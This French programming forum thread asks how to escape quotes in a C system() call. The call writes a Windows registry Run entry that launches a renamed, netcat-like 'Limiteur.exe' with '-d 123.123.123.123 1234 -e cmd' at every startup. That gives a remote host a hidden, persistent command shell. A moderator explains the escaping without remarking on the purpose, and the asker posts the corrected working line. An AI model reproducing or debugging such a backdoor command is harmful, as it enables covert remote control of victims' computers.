Conversion batch [Résolu]

CatZard - 8 déc. 2013 à 12:28 - Dernière réponse :  CatZard
- 8 déc. 2013 à 16:18
Bonjour,
je cherche à simplifier un de mes programmes qui normalement se trouve d'un .exe (en c) et d'un .bat ducoup j'ai mis les commandes du batch dans des system()
le probleme c'est que tous marche sauf cette ligne
system("reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd""");


alors que j'ai bien le bon header pour cette fonction <windows.h>
le code se compile correctement mais quand je lance le .exe j'ai "erreur syntaxe"

ps; je precise que je n'ai pas l'habitude d'utilliser les fonctions de windows.h et que apare dedouble les anti slash pour pas que soit caracterisser comme des caractere speciaux (dans le genre de \n dans printf) je ne sait pas quoi faire d'autre

merci de vos reponse
Afficher la suite 

Votre réponse

4 réponses

cptpingu 3827 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 6 octobre 2018 Dernière intervention - 8 déc. 2013 à 13:33
0
Merci
Bonjour.

Je connais mal le dév sous Windows, mais ne faudrait-il pas échaper aussi les guillemets internes à ta commande ?
Commenter la réponse de cptpingu
0
Merci
comme sa?
system(" reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd "" ");
le probleme reste le meme :/
merci quand meme
Commenter la réponse de CatZard
cptpingu 3827 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 6 octobre 2018 Dernière intervention - 8 déc. 2013 à 13:44
0
Merci
Il me semble qu'un guillemet s'échape aussi avec un \.
En tout cas, en C ou C++, on échape les " avec des \. Les guillemets en double se concaténant à la compilation.

Ex:
printf("toto" "titi"); équivaut à: printf("tototiti");
printf("""toto titi"""); équivaut à: printf("toto titi");
il faudrait donc faire: printf("\"toto titi\"");

PS: sa => ça
Commenter la réponse de cptpingu
0
Merci
cela me donne donc:
system("\"reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d \"C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd\"");
et ça marche
merci
Commenter la réponse de CatZard

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.